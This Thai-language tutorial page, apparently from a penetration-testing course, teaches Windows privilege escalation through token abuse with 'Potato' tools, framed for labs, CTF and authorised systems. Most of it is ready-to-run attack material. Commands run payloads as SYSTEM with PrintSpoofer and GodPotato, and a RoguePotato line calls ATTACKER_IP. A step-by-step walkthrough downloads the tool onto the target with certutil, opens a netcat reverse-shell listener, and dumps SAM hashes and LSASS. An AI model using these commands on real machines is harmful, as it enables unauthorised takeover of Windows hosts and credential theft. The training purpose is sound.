Token Abuse (Potato Attacks)
Token Abuse ยกระดับเป็น SYSTEM โดยใช้ token privilege ที่อ่อน — โดยเฉพาะ SeImpersonatePrivilege ที่ service account มักมี ผ่านเทคนิคตระกูล 'Potato' (JuicyPotato/PrintSpoofer/GodPotato) บทนี้ลงลึก Windows token, SeImpersonate/SeAssignPrimaryToken, การเลือก Potato ตามเวอร์ชัน Windows, และการใช้ (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — token และ impersonation
Windows ใช้ access token แทนตัวตน/สิทธิ์ของ process หลัง compromise เป็น service account (เช่น IIS, MSSQL) บัญชีเหล่านั้นมักมี SeImpersonatePrivilege ซึ่งอนุญาตให้ 'impersonate' token ของ client ที่เชื่อมต่อมา เทคนิคตระกูล Potato ใช้ความสามารถนี้ + หลอกให้ service ที่รันเป็น SYSTEM auth มาหาเรา → ขโมย/impersonate token ของ SYSTEM → ได้สิทธิ์ SYSTEM
2. ตรวจ token privileges
whoami /priv
# มองหา (ต้อง Enabled หรือ Disabled ก็ใช้ได้):
# SeImpersonatePrivilege ← Potato attacks!
# SeAssignPrimaryTokenPrivilege ← เช่นกัน
# SeDebugPrivilege ← debug/inject process อื่น
# SeBackupPrivilege ← อ่านไฟล์ใดก็ได้ (SAM/SYSTEM)
# SeRestorePrivilege ← เขียนไฟล์ใดก็ได้
# SeTakeOwnershipPrivilege ← ยึด object
# service account (IIS/MSSQL) มัก SeImpersonate by default3. เลือก Potato ตามเวอร์ชัน Windows
| เทคนิค | ใช้กับ | หมายเหตุ |
|---|---|---|
| PrintSpoofer | Win10/Server 2016-2019 | ใช้ Print Spooler — นิยม เสถียร |
| JuicyPotato | Win7-10/Server ≤2016 (เก่า) | ใช้ DCOM/BITS — ไม่เวิร์คบน 2019+ |
| RoguePotato | Win10/Server 2019 | JuicyPotato รุ่นปรับปรุง |
| GodPotato | Win8-11/Server 2012-2022 | ครอบคลุมกว้างสุด ปัจจุบัน |
| SweetPotato | หลายเวอร์ชัน | รวมหลายเทคนิค |
| EfsPotato/SharpEfsPotato | หลายเวอร์ชัน | ใช้ MS-EFSR |
4. การใช้
# === PrintSpoofer (Win10/Server 2016-2019) ===
PrintSpoofer.exe -i -c cmd # เปิด cmd เป็น SYSTEM (interactive)
PrintSpoofer.exe -c "C:\Temp\rev.exe" # รัน payload เป็น SYSTEM
# === GodPotato (กว้างสุด — ต้องระบุ .NET version) ===
GodPotato-NET4.exe -cmd "cmd /c whoami" # ทดสอบ → nt authority\system
GodPotato-NET4.exe -cmd "C:\Temp\rev.exe" # รัน payload
# === RoguePotato (Server 2019) ===
RoguePotato.exe -r ATTACKER_IP -e "C:\Temp\rev.exe" -l 9999
# ยืนยัน
whoami # → nt authority\system5. Privilege อื่น (ไม่ใช่ Potato)
- SeBackupPrivilege: อ่านไฟล์ใดก็ได้ → dump SAM+SYSTEM hive → extract hash (secretsdump) → pass-the-hash
- SeRestorePrivilege: เขียนไฟล์ใดก็ได้ → แทนที่ binary ที่ SYSTEM รัน / utilman.exe trick
- SeDebugPrivilege: inject เข้า process ที่รันเป็น SYSTEM (เช่น migrate ใน Meterpreter, หรือ dump LSASS)
- SeTakeOwnershipPrivilege: ยึด object → เปลี่ยน permission → เข้าถึง
- SeLoadDriverPrivilege: โหลด driver → kernel code execution
- SeManageVolumePrivilege: เข้าถึง volume → อ่านไฟล์
6. Quick Reference
- SeImpersonate (service account มักมี) → Potato → SYSTEM
- ตรวจ: whoami /priv (SeImpersonate/SeAssignPrimaryToken)
- เลือก Potato: GodPotato (กว้างสุด), PrintSpoofer (2016-2019), JuicyPotato (เก่า)
- PrintSpoofer.exe -i -c cmd; GodPotato-NET4.exe -cmd "..."
- SeBackup → dump SAM; SeDebug → inject SYSTEM process
- SeRestore → เขียนไฟล์ใดก็ได้; SeLoadDriver → kernel
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติได้ shell เป็น service account (เช่น IIS/MSSQL) มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อดูว่า token privilege ใช้ยกระดับได้ไหม
- 1เช็ค privilege ที่มี: whoami /priv ดูว่ามี SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege/SeBackupPrivilege/SeDebugPrivilege ไหม
- 2เช็ค Windows version เพื่อเลือก Potato ให้ถูก: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- 3ดาวน์โหลด Potato ที่เหมาะจาก Kali ผ่าน http server (python3 -m http.server 80) — GodPotato ครอบคลุมกว้างสุด ลองก่อน
- 4ส่งเข้าเป้าหมาย: certutil -urlcache -f http://
/GodPotato-NET4.exe gp.exe - 5ทดสอบก่อนว่าได้ SYSTEM จริงไหม: gp.exe -cmd "cmd /c whoami" ต้องได้ nt authority\system
- 6เปิด listener ที่ Kali: nc -lvnp 4444
- 7รัน payload เป็น SYSTEM: gp.exe -cmd "C:\Temp\rev.exe"
- 8ถ้า GodPotato ไม่ได้ผล ลอง PrintSpoofer แทน: PrintSpoofer.exe -i -c cmd หรือ RoguePotato ตามตาราง version
- 9ถ้าไม่มี SeImpersonate เลย เช็ค SeBackup/SeRestore/SeDebug แทน — SeBackup ให้ dump SAM ได้ตรงๆ
- 10ถ้าไม่มี privilege พิเศษอะไรเลย ให้กลับไปเช็ค services/registry/scheduled tasks
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ดู token privilege | whoami /priv (มากับ Windows) | - | - |
| ดูเวอร์ชัน Windows | systeminfo | - | - |
| ดาวน์โหลด Potato ตัวที่เหมาะ | - | git clone PrintSpoofer/GodPotato repo | github.com (PrintSpoofer/GodPotato releases) |
| ส่งไฟล์เข้าเป้าหมาย | python3 -m http.server / certutil | - | - |
| เปิด reverse shell listener | nc / msfconsole | - | revshells.com |
| dump SAM ถ้ามี SeBackup | reg save + secretsdump.py | pipx install impacket | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้